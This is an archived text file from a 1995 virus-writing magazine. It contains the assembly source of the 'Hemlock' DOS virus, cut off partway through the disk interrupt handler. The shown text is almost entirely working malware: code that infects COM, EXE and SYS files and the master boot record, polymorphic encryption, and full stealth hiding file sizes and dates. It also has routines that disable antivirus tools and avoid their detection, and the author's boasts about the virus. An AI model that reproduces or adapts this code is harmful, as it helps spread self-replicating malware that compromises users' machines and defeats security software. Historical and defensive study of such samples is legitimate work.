home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.4_2 < prev    next >
Encoding:
Text File  |  1995-01-25  |  62.6 KB  |  2,216 lines

  1.  
  2. ;
  3. ;                      Hemlock Virus Source by qark
  4. ;                      +--------------------------+
  5. ;
  6. ;  Origin:      Australia, February 1995
  7. ;  Targets:     COM/EXE/SYS/MBR/BS
  8. ;  Polymorphic: Yes
  9. ;  Encrypted:   Yes
  10. ;  Stealth:     Full stealth as it redirects reads to infected bootsectors
  11. ;               and will return a clean copy if an infected file is read.
  12. ;  Armoured:    Attempting to trace int 21h or int 13h by a debugger/tunneler
  13. ;               will be disabled or cause a system hang.
  14. ;  Tunneling:   No, but checks for fixed ROM BIOS entry points by examining
  15. ;               code in segment F000.  If found will set the vectors to these
  16. ;               instead of the original vectors.
  17. ;  Damage:      None
  18. ;  Assembler:   A86 v3.71
  19. ;  Other stuff: Disables stealth when the following programs are run PKZIP,
  20. ;               LHA, ARJ, CHKDSK, NDD and SCANDISK.  When WIN or TBSCAN are
  21. ;               executed, command line options are added to avoid detection.
  22. ;               When CTRL-ALT-DEL (warm boot) is pressed, the virus will
  23. ;               copy the original interrupt table back and call int 19h
  24. ;               which will effectively mimic a warm boot.  If the computer
  25. ;               is in protected mode it will call a normal reboot instead.
  26. ;               If DOSDATA.SYS (a QEMM driver) is detected a different
  27. ;               routine will be used for grabbing int21h when loading from
  28. ;               boot.  Because SYS infection is unstable the virus does not
  29. ;               go resident, but instead checks to see if the MBR is infected
  30. ;               and if clean, infects it.  The polymorphism is simple in that
  31. ;               it basically swaps around lines of the decryption, but no
  32. ;               simple signature will detect it.
  33. ;
  34. ;       This is probably the best virus to ever come from Australia.
  35. ;
  36. ;       Hemlock is the poison that killed Socrates and the way I figure it, 
  37. ;       what's good for one greek philosopher is good enough for another.
  38. ;
  39.  
  40.         org     0
  41.  
  42.         db      9 dup (90h)             ;This is setup for the polymorphism.
  43. enc_loop:
  44.         db      15 dup (90h)            ;18
  45.         mov     si,offset enc_end + 100h
  46. enc_start:
  47.         sub     si,offset enc_end        
  48.  
  49.         cld                             ;Forward movement.
  50.  
  51.         mov     ax,0efbeh
  52.         mov     bl,9
  53.         int     13h                     ;Check if we are already home...
  54.  
  55.         cmp     ax,0BEEFh
  56.         je      resident
  57.  
  58.         ;AX=01BE because of the error code passed into AH
  59.         ;This will kill f-prot.
  60.         add     word ptr cs:[si+offset jmp_off],ax
  61.  
  62.         db      0ebh,0                  ;Clear prefetch        
  63.  
  64.         db      0e9h                    ;JMP xxxx
  65. jmp_off dw      6 - 01beh       ;01BE=The return size from the int13 call.
  66. bogus_end:
  67.         mov     ax,4c00h
  68.         int     21h
  69.         db      20h
  70. real_continue:
  71.         sub     word ptr cs:[si+offset jmp_off],ax
  72.  
  73.         call    check_mbr               ;Is the MBR infected with our virus ?
  74.         je      mbr_done
  75.         call    setrom15_13
  76.         call    infect_mbr
  77.         call    reset15_13
  78.  
  79. mbr_done:
  80.         push    ds                      ;Save PSP
  81.  
  82.         mov     ax,es
  83.         dec     ax                      ;MCB segment.
  84.         xor     di,di                   ;Zero DI
  85.         
  86.         mov     ds,ax
  87.  
  88.         ;Using [DI] is smaller than [0], saves a byte or two.
  89.         ;Thanx to Memory Lapse for that optimisation.
  90.  
  91.         cmp     byte ptr [di],'Z'       ;DI=0 Check MCB type.
  92.         jne     pop_resident
  93.  
  94.         sub     word ptr [di+3],(offset mem_size /16) +1
  95.         sub     word ptr [di+12h],(offset mem_size /16) +1
  96.         mov     ax,word ptr [di+12h]    ;Our segment into AX.
  97.         mov     es,ax
  98.  
  99.         push    cs
  100.         pop     ds                      ;DS=CS
  101.         mov     cx,offset end_virus     ;Our virus length.
  102.         rep     movsb                   ;Move our virus in memory.
  103.  
  104.         sub     si,di                   ;SI points to our virus start again.
  105.  
  106.         push    si
  107.  
  108.         mov     ds,cx                   ;DS=CX=0
  109.         mov     si,21h*4                ;Set int 21
  110.         mov     di,offset i21
  111.         movsw
  112.         movsw
  113.         mov     word ptr [si-4],offset int21handler
  114.         mov     word ptr [si-2],es
  115.  
  116.         mov     si,13h*4                ;Set int 13
  117.         mov     di,offset i13
  118.         movsw
  119.         movsw
  120.         mov     word ptr [si-4],offset int13handler
  121.         mov     word ptr [si-2],es
  122.  
  123.         mov     byte ptr es:flag21,1
  124.         
  125.         pop     si
  126.  
  127. pop_resident:
  128.         pop     ds              ;Restore PSP
  129. resident:
  130.         push    ds
  131.         pop     es
  132.  
  133.         cmp     byte ptr cs:[si+offset filetype],'E'
  134.         je      exe_return
  135.         ;COM file return.
  136.         mov     di,100h         ;Offset of COM start.
  137.         push    di              ;Where we return to.
  138.         add     si,offset header
  139.         mov     cx,18h
  140.         rep     movsb           ;Move the original header back.
  141.         ret                     ;IP -> 100h
  142.  
  143. exe_return:
  144.         mov     ax,ds           ;DS=PSP
  145.         add     ax,10h          ;10H = size of PSP
  146.         add     word ptr cs:[si+jump+2],ax      ;Fix the return JMP FAR
  147.         cli
  148.         mov     sp,word ptr cs:[si+offset header + 10h]
  149.         add     ax,word ptr cs:[si+offset header + 0eh]
  150.         mov     ss,ax           ;SS:SP now fixed
  151.         sti
  152.         xor     ax,ax
  153.         xor     bx,bx
  154.         xor     si,si
  155.         
  156.         db      0ebh,0          ;JMP $+2  Just clear the prefetch.
  157.  
  158.         db      0eah            ;Return to original EXE.
  159. jump    dd      0      
  160.  
  161. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  162. ;Infected device drivers call this when they execute.
  163. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  164. SysEntry:
  165.         push    bp                      ;<--This turns into our RET later on.
  166.  
  167.         push    bp                      ;Save BP.
  168.  
  169.         mov     bp,sp                   ;Get the SP to change the stack.
  170.  
  171.         push    si                      ;Save our other stuff.
  172.         push    ax
  173.  
  174.         db      0beh                    ;MOV SI,xxxx
  175. delta_sys       dw      0               ;Our delta offset.
  176.  
  177.         mov     ax,cs:[si+offset sysreturn]     ;The address of the orig
  178.                                                 ;handler.
  179.  
  180.         mov     word ptr [bp+2],ax      ;'RET' to the original routine.
  181.         mov     word ptr cs:[6],ax      ;Restore the original pointer
  182.                                         ;so that we aren't called again.
  183.  
  184.         ;Do the stuff you want to here.... push and pop tho
  185.         push    bx
  186.         mov     ax,0efbeh               ;Residency test
  187.         xor     bx,bx
  188.         int     13h
  189.         pop     bx
  190.         
  191.         cmp     ax,0beefh               ;If resident then exit.
  192.         je      sys_res
  193.  
  194.         call    check_mbr
  195.         je      sys_res
  196.         
  197.         call    setrom15_13
  198.         call    infect_mbr
  199.         call    reset15_13
  200.  
  201. Sys_Res:
  202.         pop     ax
  203.         pop     si
  204.         pop     bp
  205.         ret             ;It will return to the handler that was supposed to
  206.                         ;be called instead of this one.
  207.  
  208. SysReturn       dw      0               ;The original strategy routine.
  209.  
  210. ;End of the stub part of the virus...
  211. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  212. ;Beginning of the resident routines...
  213. Int21Handler    Proc    Near
  214. ;;;;;;
  215. ;Instead of the good old CMP AH,XX to check for the DOS function, I think
  216. ;that I'll bung in a cooleo little jump table... always good to try new
  217. ;tricks...
  218. ;;;;;;
  219.  
  220.         call    anti_tunnel                     ;Stop all other tunneling.
  221.  
  222.         push    si
  223.         push    ax
  224.  
  225.         mov     si,offset function_table        ;SI=My little jump table.
  226.         cld
  227. Index_function:
  228.         cmp     si,offset end_table             ;End of table...
  229.         je      not_viral
  230.         db      2eh                             ;CS:
  231.         lodsb
  232.         cmp     ah,al                           ;Do the functions match ?
  233.         je      do_jump
  234.         inc     si                              ;I would use lodsw but that
  235.         inc     si                              ;would destroy AH.
  236.         jmp     index_function
  237. do_jump:
  238.         db      2eh                             ;CS:
  239.         lodsw
  240.         jmp     ax
  241.  
  242. not_viral:
  243.         jmp     pop_end
  244.  
  245.         ;Below is the virus entry jump table.
  246.  
  247. function_table  db      11h                     ;Dir ffirst
  248.                 dw      offset dir_stealth
  249.                 db      12h                     ;Dir ffnext
  250.                 dw      offset dir_stealth
  251.                 db      3dh                     ;Open
  252.                 dw      offset file_open
  253.                 db      3fh                     ;File read
  254.                 dw      offset file_read
  255.                 db      43h                     ;Attribute change
  256.                 dw      offset file_infect
  257.                 db      4bh                     ;Execute
  258.                 dw      offset file_infect
  259.                 db      4eh                     ;Handle ffirst
  260.                 dw      offset find_stealth
  261.                 db      4fh                     ;Handle fnext
  262.                 dw      offset find_stealth
  263.                 db      56h                     ;Rename
  264.                 dw      offset file_infect
  265.                 db      57h                     ;Date and time
  266.                 dw      offset file_time
  267.                 db      6ch                     ;Open
  268.                 dw      offset file_open
  269. end_table:
  270.  
  271. ;.................
  272. File_Read:              ;3F arrives here.
  273.         pop     ax
  274.         pop     si
  275.         
  276.         cmp     byte ptr cs:stealth,0
  277.         je      no_read_stealth
  278.  
  279.         call    check_handle
  280.         jnc     good_handle
  281.  
  282. no_read_stealth:
  283.         jmp     jend                    ;Outta here...
  284. good_handle:
  285.  
  286.         push    es
  287.         push    di
  288.         call    get_sft
  289.         jc      toobig
  290.         call    check_years
  291.         jae     stealth_read
  292. toobig:
  293.         pop     di                      ;Uninfected, so dont stealth.
  294.         pop     es
  295.         jmp     jend                    ;The push/pops are equal everywhere..
  296.  
  297.         file_pointer    dw      0
  298.  
  299. stealth_read:
  300.         ;We've already reduced the file size within the SFT, (in file_open)
  301.         ;so if they lseek to the end to try and find the virus they won't 
  302.         ;reach it, so all we have to do is make sure if they are reading
  303.         ;near the header that we stealth it.  Not too hard is it ? :)
  304.         ;The header is only the first 18h bytes so we only mess with that.
  305.  
  306.         cmp     word ptr es:[di+17h],0
  307.         jne     toobig
  308.         cmp     word ptr es:[di+15h],18h
  309.         jae     toobig
  310.  
  311.         push    word ptr es:[di+15h]    ;Save the current file pointer
  312.         pop     word ptr cs:file_pointer
  313.         
  314.         pop     di
  315.         pop     es
  316.  
  317.  
  318.         call    Int21norm                       ;Do their read.
  319.         jnc     ok_read
  320.         jmp     bad_read
  321. ok_read:
  322.         push    ax
  323.         push    bx
  324.         push    cx
  325.         push    dx
  326.         push    si
  327.         push    di
  328.         push    es
  329.         pushf
  330.  
  331.         mov     ax,word ptr cs:file_pointer
  332.  
  333.         ;We want to overwrite whats at the current file pointer with
  334.         ;what is supposed to be there.  To do this we must work out
  335.         ;whether it has read past the header, or just inside the header.
  336.  
  337.         call    get_sft
  338.         jnc     good_read_sft
  339.         jmp     bad_read_sft
  340. good_read_sft:
  341.         add     ax,cx
  342.         jc      large_read              ;Reading near FFFF bytes
  343.         cmp     ax,18h
  344.         jbe     calc_read               ;Read past the header
  345. large_read:
  346.         sub     ax,cx
  347.         mov     cx,18h
  348.         sub     cx,ax
  349.         jmp     short long_read
  350. calc_read:
  351.         sub     ax,cx
  352. long_read:              ;AX=File pointer, CX=bytes to read.
  353.  
  354.         ;Save the current file pointer.
  355.         push    word ptr es:[di+17h]
  356.         push    word ptr es:[di+15h]
  357.  
  358.         ;Save the current file length
  359.         push    word ptr es:[di+13h]
  360.         push    word ptr es:[di+11h]
  361.  
  362.         ;Extend the file length to include the virus
  363.  
  364.         add     word ptr es:[di+11h],offset end_virus
  365.         adc     word ptr es:[di+13h],0
  366.  
  367.         push    word ptr es:[di+11h]    ;File size --> File pointer
  368.         pop     word ptr es:[di+15h]
  369.         push    word ptr es:[di+13h]
  370.         pop     word ptr es:[di+17h]
  371.  
  372.         sub     word ptr es:[di+15h],18h        ;Headersize back
  373.         sbb     word ptr es:[di+17h],0
  374.  
  375.         add     word ptr es:[di+15h],ax         ;Add on their file pointer
  376.         adc     word ptr es:[di+17h],0
  377.  
  378.         mov     al,3fh
  379.         call    int21h             ;Will read into their buffer the orig shit
  380.  
  381.         pop     word ptr es:[di+11h]    ;Restore file length
  382.         pop     word ptr es:[di+13h]
  383.  
  384.         pop     word ptr es:[di+15h]    ;Restore file pointer
  385.         pop     word ptr es:[di+17h]
  386. bad_read_sft:
  387.         popf
  388.         pop     es
  389.         pop     di
  390.         pop     si
  391.         pop     dx
  392.         pop     cx
  393.         pop     bx
  394.         pop     ax
  395. bad_read:
  396.         
  397. read_exit:
  398.         retf    2
  399. ;.................
  400. File_Open:              ;3D and 6C arrive here.
  401.         pop     ax
  402.         pop     si
  403.         call    infect                  ;Infect the file.
  404.         call    Int21norm               ;Do their open   
  405.         jc      exit_open
  406.         pushf
  407.         xchg    bx,ax
  408.         call    check_handle
  409.         xchg    bx,ax
  410.         jc      good_exit_open
  411.  
  412.         push    es
  413.         push    di
  414.         xchg    bx,ax                   ;File handle into BX
  415.         call    get_sft
  416.         xchg    bx,ax
  417.         jc      pop_open_exit
  418.  
  419.         call    check_years
  420.         jb      pop_open_exit           ;Is it infected ? Nope, outta here..
  421.  
  422.         cmp     byte ptr cs:stealth,0
  423.         je      pop_open_exit
  424.  
  425. ;Remove our virus size from the SFT.  This means that if they try to lseek
  426. ;to the end of the infected program they will see no size difference, and
  427. ;they will only be able to reach the end of the normal file.
  428. ;We no longer have to worry about them reading in the virus body from the end
  429. ;of the file, we only have to protect the header at the start.
  430.  
  431.         sub     word ptr es:[di+11h],offset end_virus
  432.         sbb     word ptr es:[di+13h],0
  433.  
  434. pop_open_exit:
  435.         pop     di
  436.         pop     es
  437. good_exit_open:
  438.         popf
  439. exit_open:
  440.         retf    2
  441. ;.................
  442. File_Infect:            ;43, 4B and 56 arrive here.
  443.         pop     ax
  444.         pop     si
  445.  
  446.         cmp     ax,4b00h                ;File execute ?
  447.         jne     non_execute
  448.  
  449.         mov     byte ptr cs:stealth,1   ;Turn stealth on.
  450.         call    check_names             ;This may turn stealth off.
  451.         call    infect
  452.         call    int21norm               ;Do the interrupt
  453.         mov     byte ptr cs:stealth,1   ;Turn stealth on.
  454.         retf    2                       ;Exit interrupt.
  455. non_execute:
  456.         call    infect                  ;Infect it.
  457. far_time_exit:
  458.         jmp     jend
  459. ;.................
  460. File_Time:              ;57 arrives here.
  461.                                 ;Hide the 100 years marker.
  462.         pop     ax
  463.         pop     si
  464.  
  465.         cmp     byte ptr cs:stealth,0
  466.         je      far_time_exit
  467.  
  468.         cmp     al,01
  469.         je      far_time_exit
  470.  
  471.         call    Int21norm       ;Call it
  472.         pushf
  473.         jc      time_ok
  474.         cmp     dh,200
  475.         jb      time_ok
  476.  
  477.         sub     dh,200          ;Take away the 100 years.
  478.         
  479. time_ok:
  480.         popf
  481.         retf    2
  482. ;.................
  483. Dir_Stealth:            ;11 and 12 arrive here.
  484. ;No change in size during a DIR listing.
  485.         
  486.         pop     ax
  487.         pop     si
  488.  
  489.         cmp     byte ptr cs:stealth,0
  490.         je      far_time_exit
  491.         
  492.         call    Int21norm                       ;Call the interrupt
  493.         cmp     al,0                            ;straight off.
  494.         jne     end_of_dir
  495.  
  496.         push    es
  497.         push    ax                              ;Save em.
  498.         push    bx
  499.  
  500.         mov     al,2fh                          ;Get DTA address.
  501.         call    int21h
  502.  
  503.         cmp     byte ptr es:[bx],0ffh           ;Extended FCB ?
  504.         jne     not_extended
  505.  
  506.         add     bx,7                            ;Add the extra's.
  507. not_extended:
  508.         mov     al,byte ptr es:[bx+1ah]         ;Move high date
  509.         cmp     al,200
  510.         jb      dir_pop                         ;Not ours to play with.
  511.  
  512.         sub     al,200                          ;Restore to original date.
  513.  
  514.         mov     byte ptr es:[bx+1ah],al
  515.  
  516.         ;Subtract the file length.
  517.         sub     word ptr es:[bx+1dh],offset end_virus
  518.         sbb     word ptr es:[bx+1fh],0
  519. dir_pop:
  520.         pop     bx
  521.         pop     ax
  522.         pop     es
  523.  
  524. end_of_dir:
  525.  
  526.         iret
  527.  
  528. stealth_exit:
  529.         jmp     jend            ;Exit.
  530. ;.................
  531. Find_Stealth:           ;4E and 4F arrive here.
  532.  
  533.         pop     ax
  534.         pop     si
  535.  
  536.         cmp     byte ptr cs:stealth,0
  537.         je      stealth_exit
  538.  
  539.         call    Int21norm       ;Do the original find call.
  540.         jc      end_search
  541.  
  542.         pushf
  543.         push    es
  544.         push    bx
  545.         push    si
  546.  
  547.         mov     al,2fh          ;Get DTA address
  548.         call    int21h
  549.  
  550.         mov     al,byte ptr es:[bx+19h]
  551.         cmp     al,200          ;Get the file year from the DTA
  552.         jb      search_pop
  553.  
  554.         sub     al,200          ;Set it back to the normal year.
  555.  
  556.         mov     byte ptr es:[bx+19h],al ;Now they won't spot us!
  557.  
  558.         ;Subtract the file length.
  559.         sub     word ptr es:[bx+1ah],offset end_virus
  560.         sbb     word ptr es:[bx+1ch],0
  561.  
  562. search_pop:
  563.         pop     si
  564.         pop     bx
  565.         pop     es
  566.         popf
  567. end_search:
  568.         retf    2                       ;IRET without POPF
  569. ;.................
  570. Far_End:                                ;Gotta use a lame one of these
  571.                                         ;because of the 128 byte jump :(
  572.         jmp     no_extension
  573.  
  574. ;Infect EXE/COM/SYS
  575. Infect:                                 
  576.         push    ax
  577.         push    bx
  578.         push    cx
  579.         push    dx
  580.         push    si
  581.         push    di
  582.         push    ds
  583.         push    es
  584.         push    bp
  585.  
  586.         xor     bp,bp                   ;Zero BP for anti-heuristics
  587.  
  588.         cmp     ah,6ch
  589.         jne     no_si_fixup
  590.         mov     dx,si                   ;Function 6C stores the name at
  591.                                         ;DS:SI instead of DS:DX.
  592. no_si_fixup:
  593.         cld
  594.         push    ds
  595.         pop     es
  596.         mov     al,'.'
  597.         mov     di,dx
  598.         mov     cx,128
  599.         repne   scasb                   ;Search for extension.
  600.  
  601.         jne     far_end
  602.  
  603.         mov     byte ptr cs:filetype,0  ;Reset the filetype flag
  604.  
  605.         mov     si,di
  606.         lodsw
  607.         or      ax,2020h                ;Convert to lowercase.
  608.         cmp     ax,'oc'                 ;COM
  609.         jne     chk_exe
  610.         lodsb
  611.         or      al,20h
  612.         cmp     al,'m'
  613.         jne     far_end
  614.         jmp     good_name
  615. chk_exe:                        ;EXE
  616.         cmp     ax,'xe'
  617.         jne     chk_sys
  618.         lodsb
  619.         or      al,20h
  620.         cmp     al,'e'
  621.         jne     far_end
  622.         jmp     good_name
  623. chk_sys:                        ;SYS
  624.         cmp     ax,'ys'
  625.         jne     far_end
  626.         lodsb
  627.         or      al,20h
  628.         cmp     al,'s'
  629.         jne     far_end
  630.         mov     byte ptr cs:filetype,'S'
  631. good_name:
  632.         lea     ax,[bp+3dh]             ;Same as mov ax,3d but anti-heuristic
  633.         call    int21h
  634.         jc      far_end
  635.         xchg    bx,ax                   ;This is smaller than XCHG AX,BX
  636.                                         ;BX=File handle.
  637.  
  638.         call    set_int24
  639.  
  640.         call    get_sft
  641.         jc      sys_close_exit
  642.         call    check_years             ;Is it already infected ?
  643.         ja      sys_close_exit
  644.         
  645.         mov     word ptr es:[di+2],2    ;Change file to read/write.
  646.  
  647.         push    cs
  648.         pop     es                      ;ES=CS
  649.         lea     ax,[bp+3fh]             ;Same as MOV AX,3F
  650.         push    cs
  651.         pop     ds                      ;DS=CS
  652.         mov     cx,1ch                  ;Read in the full EXE header.
  653.         mov     dx,offset header
  654.         call    int21h
  655.  
  656.         mov     si,offset header
  657.         lodsw                           ;AX=First two bytes of header.
  658.  
  659. ;I DO NOT want to infect SYS files that have an EXE header because
  660. ;that means I will infect shit like QEMM and DOSDATA, which will fuck
  661. ;everything up...
  662.  
  663.         cmp     byte ptr cs:filetype,'S'
  664.         je      sys_infect
  665.  
  666.         add     al,ah
  667.         cmp     al,167                  ;Test for ZM/MZ
  668.         jne     com_infect
  669.         jmp     exe_infect
  670.  
  671. ;++++++++++++++++++++++
  672. SYS_Infect:
  673. ;Check first dword for -1 (-1 = 0ffffffffh)
  674. ;SYS files mostly start with ffffffffh so its a good marker to check.
  675.  
  676.         inc     ax              ;AX=0 if SYS file
  677.         jnz     sys_close_exit
  678.         lodsw
  679.         inc     ax
  680.         jnz     sys_close_exit
  681.         lodsw                   ;Same as INC SI, INC SI but one byte
  682.  
  683.         ;SI=Offset of 6 into the header.
  684.         ;DS:SI=The SYS files strategy routine.
  685.         lodsw                   ;Strategy routine offset into AX
  686.         mov     word ptr sysreturn,ax
  687.         call    lseek_end
  688.         cmp     ax,60000
  689.         je      sys_close_exit
  690.         cmp     ax,1024
  691.         jb      sys_close_exit
  692.  
  693.         call    get_date
  694.  
  695.         ;File length is in AX.
  696.         mov     word ptr delta_sys,ax
  697.         push    ax
  698.         mov     al,40h                  ;Write virus at end.
  699.         mov     cx,offset end_virus
  700.         xor     dx,dx
  701.         call    int21h
  702.         pop     ax
  703.         jc      sys_close_exit
  704.  
  705.         add     ax,offset sysentry
  706.         mov     word ptr header+6,ax    ;Point the strategy routine at our
  707.         
  708.         ;lseek to start.
  709.  
  710.         call    lseek_start
  711.  
  712.         mov     al,40h                  ;Write our cooler header back.
  713.         mov     dx,offset header
  714.         mov     cx,18h
  715.         call    int21h
  716.         jc      sys_close_exit
  717.  
  718.         call    set_marker              ;Set the 100 year marker.
  719. sys_close_exit:
  720.         jmp     exe_close               ;Outta here !
  721.  
  722. ;+++++++++++++++++++++++
  723. COM_Infect:                             ;This routine works with COM files.
  724.  
  725.         mov     byte ptr filetype,'C'
  726.         call    lseek_end
  727.         or      dx,dx                   ;Waaaay too big!
  728.         jnz     com_close_exit
  729.         cmp     ax,62300                ;Too big...
  730.         ja      com_close_exit
  731.         cmp     ax,1024                 ;Teensy weensy
  732.         jb      com_close_exit
  733.  
  734.         call    get_date
  735.  
  736.         push    ax                      ;Save file size in AX
  737.  
  738.         add     ax,100h                 ;COM's start at 100h
  739.         mov     delta,ax                ;Fixup the delta offset.
  740.  
  741.         call    setup_poly
  742.  
  743.         mov     al,40h                  ;Append virus.
  744.         mov     dx,offset end_virus
  745.         mov     cx,offset end_virus
  746.         call    int21h
  747.         pop     ax                      ;Restore file size.
  748.         jc      com_close_exit          ;Failed write...
  749.  
  750.         sub     ax,3                    ;JMP takes 3 bytes.
  751.         mov     word ptr virus_jump+1,ax        ;Our jump buffer is ready !
  752.  
  753.         call    lseek_start
  754.  
  755.         mov     al,40h                  ;Write our jump.
  756.         mov     dx,offset virus_jump
  757.         mov     cx,3
  758.         call    int21h
  759.         jc      com_close_exit          ;Failed write...
  760.  
  761.         call    set_marker              ;Set the 100 years marker.
  762. com_close_exit:
  763.         jmp     exe_close
  764. ;+++++++++++++++++++++++
  765. EXE_Infect:
  766.         mov     byte ptr filetype,'E'
  767.  
  768.         dec     si
  769.         dec     si                      ;SI = Offset header
  770.  
  771.         cmp     word ptr [si+1ah],0     ;Overlays are evil!
  772.         jne     com_close_exit
  773.         cmp     word ptr [si+18h],40h   ;So is windows shit!
  774.         jae     com_close_exit
  775.  
  776.         call    get_date
  777.  
  778.         push    [si+2]                  ;Save pages
  779.         push    [si+4]                  ;Save last page size
  780.         push    [si+0ch]                ;Save maximum memory
  781.         push    [si+0eh]                ;Save SS
  782.         push    [si+10h]                ;Save SP
  783.         push    [si+14h]                ;Save IP
  784.         push    [si+16h]                ;Save CS
  785.  
  786.         mov     ax,word ptr [si+0ch]    ;Get Maxmem
  787.         inc     ax                      ;If FFFF then don't change.
  788.         jz      set_to_max
  789.  
  790.         ;We are doing this because when TBSCAN is run it checks it's segment
  791.         ;size in memory.  If it is infected it will detect the virus because
  792.         ;the memory allocated to it is more than it asked for.  So downsize
  793.         ;maxmem by the virus paras and wow! passed sanity check!  Did you
  794.         ;know that TBSCAN doesn't use it's 'OWN' file system to check
  795.         ;itself ?  Nope, it uses DOS so you can stealth is easy enough.
  796.  
  797.         ;Note: I did not invent this idea!  A person who wishes to remain
  798.         ;anonymous told it to me.
  799.  
  800.         sub     word ptr [si+0ch],offset end_virus / 16 +1
  801.  
  802. set_to_max:
  803.  
  804.         push    si
  805.         add     si,14h
  806.         mov     di,offset jump
  807.         movsw
  808.         movsw                           ;CS:IP into JUMP
  809.         pop     si
  810.  
  811.         call    lseek_end
  812.                                         ;DX:AX=File length
  813.         push    dx                      ;Save file length.
  814.         push    ax
  815.  
  816.         mov     cx,16                   ;Divide filesize by 16.
  817.         div     cx                      ;Remainder = IP
  818.                                         ;Answer = CS
  819.  
  820.         sub     ax,word ptr [si+8]      ;Subtract headersize.
  821.         mov     word ptr delta,dx
  822.  
  823.         mov     word ptr [si+14h],dx    ;IP into header
  824.         mov     word ptr [si+16h],ax    ;CS into header
  825.  
  826.         add     dx,offset end_virus + 1000      ;SP past end of file.
  827.  
  828.         mov     word ptr [si+0eh],ax    ;SS=CS
  829.         mov     word ptr [si+10h],dx    ;SP past end of our virus.
  830.  
  831.         pop     ax
  832.         pop     dx                      ;File length into DX:AX
  833.  
  834.         add     ax,offset end_virus
  835.         adc     dx,0
  836.         
  837.         mov     cx,512
  838.         div     cx
  839.         or      dx,dx
  840.         jz      no_page_fix             ;Page ends on 512 boundary.
  841.         inc     ax                      ;Add the last page.
  842. no_page_fix:
  843.         mov     word ptr [si+4],ax
  844.         mov     word ptr [si+2],dx
  845.  
  846.         call    lseek_start
  847.  
  848.         mov     dx,si                   ;DX=Offset header
  849.         mov     cx,18h
  850.         mov     al,40h                  ;Write header back.
  851.         call    int21h
  852.         
  853.         pop     [si+16h]                ;Restore all the header stuff
  854.         pop     [si+14h]                ;that I changed.
  855.         pop     [si+10h]
  856.         pop     [si+0eh]
  857.         pop     [si+0ch]
  858.         pop     [si+4]
  859.         pop     [si+2]
  860.  
  861.         jc      exe_close
  862.  
  863.         call    lseek_end
  864.  
  865.         call    setup_poly
  866.  
  867.         mov     al,40h
  868.         mov     dx,offset end_virus
  869.         mov     cx,offset end_virus
  870.         call    int21h
  871.         jc      exe_close
  872.  
  873.         call    set_marker
  874. exe_close:
  875.         mov     al,3eh
  876.         call    int21h
  877.  
  878.         call    reset_int24
  879. no_extension:
  880.         pop     bp
  881.         pop     es
  882.         pop     ds
  883.         pop     di
  884.         pop     si
  885.         pop     dx
  886.         pop     cx
  887.         pop     bx
  888.         pop     ax
  889.         ret
  890. ;.................       End of infection procedure...
  891.  
  892. pop_end:
  893.         pop     ax
  894.         pop     si
  895.  
  896. jend:
  897.         db      0eah
  898.         i21     dd      0
  899.  
  900. Int21Handler    EndP
  901.  
  902. Int21h:
  903.         xchg    ah,al                   ;<-- swap AH and AL for heuristics.
  904. Int21norm:
  905.         pushf
  906.         push    cs
  907.         call    jend
  908.         ret
  909.  
  910. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  911. Bootsector:
  912.         ;This is what we write to the MBR/BS
  913.         xor     ax,ax
  914.         mov     es,ax
  915.         mov     si,7c00h
  916.         cli                             ;Ints off while changing
  917.                                         ;stack.
  918.         mov     ss,ax
  919.         mov     sp,si
  920.         sti
  921.         mov     ds,ax
  922.  
  923.                                         ;CS,DS,ES,SS,AX=0    SI,SP=7C00H
  924.  
  925.         sub     word ptr [413h],8       ;3.5k for virus + 3.5k buffer
  926.                                         ;+1K for IVT
  927.                                         ;40:13 = memory.
  928.         int     12h
  929.  
  930.         mov     cl,6
  931.         shl     ax,cl
  932.         mov     es,ax                   ;ES=Our virus segment.
  933.  
  934.         xor     ax,ax
  935.         int     13h                     ;Reset Disk
  936.  
  937.         xor     dh,dh                   ;Head 0
  938.         mov     cx,4                    ;From sector 4, track 0
  939.         or      dl,dl
  940.         js      hd_resident             ;>= 80h
  941.         
  942.         ;Self modifying code because the floppy disk storage track/head
  943.         ;changes all the time.
  944.  
  945.         db      0b9h                    ;MOV CX,xxxx
  946.         floppy_sect     dw      4
  947.         db      0b6h                    ;MOV DH,xxxx
  948.         floppy_head     db      0
  949.  
  950. hd_resident:
  951.         xor     bx,bx                   ;Read to start of segment
  952.         mov     ax,207h                 ;Read 7 sectors
  953.         int     13h                     ;This ought to read the virus into
  954.                                         ;our allocated buffer.
  955.         jc      hd_resident
  956.  
  957.  
  958.         mov     byte ptr es:flag21,0            ;Reset the int21 flag
  959.         mov     byte ptr es:mz_counter,1        ;Reset exe counter
  960.         mov     byte ptr es:qemm,0              ;Reset qemm flag
  961.  
  962.         mov     si,13h*4
  963.         cld
  964.         mov     di,offset i13
  965.         movsw
  966.         movsw
  967.         mov     word ptr [si-4],offset int13handler
  968.         mov     word ptr [si-2],es
  969.  
  970.         mov     si,9*4                          ;Set int9 to ours.
  971.         mov     di,offset i9
  972.         movsw
  973.         movsw
  974.         mov     word ptr [si-4],offset int9handler
  975.         mov     word ptr [si-2],es
  976.  
  977.         xor     si,si                           ;Copy interrupt table.
  978.         mov     di,offset IVT
  979.         mov     cx,1024
  980.         rep     movsb
  981.  
  982.         mov     si,449h
  983.         movsb
  984.  
  985.         int     19h
  986.                 
  987.         Marker  db      'Eu'                    ;Just a crap marker
  988. BS_End:
  989.  
  990. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  991. ;;;
  992. rend:
  993.         retf    2
  994. ;;;
  995. multi:
  996.         jmp     multipartite
  997. ;;;
  998. stealth_bs:
  999.         mov     cx,3
  1000.         mov     ax,102h
  1001.  
  1002.         or      dl,dl
  1003.         js      stealth_mbr             ;DL>=80H then goto stealthmbr
  1004.  
  1005.         mov     cx,14
  1006.         mov     dh,1
  1007. stealth_mbr:
  1008.         call    int13h
  1009.         jmp     bs_pop_end
  1010. ;;;
  1011. Int13Handler:
  1012.  
  1013.         call    anti_tunnel        
  1014.  
  1015.         xchg    ah,al
  1016.         
  1017.         cmp     al,2
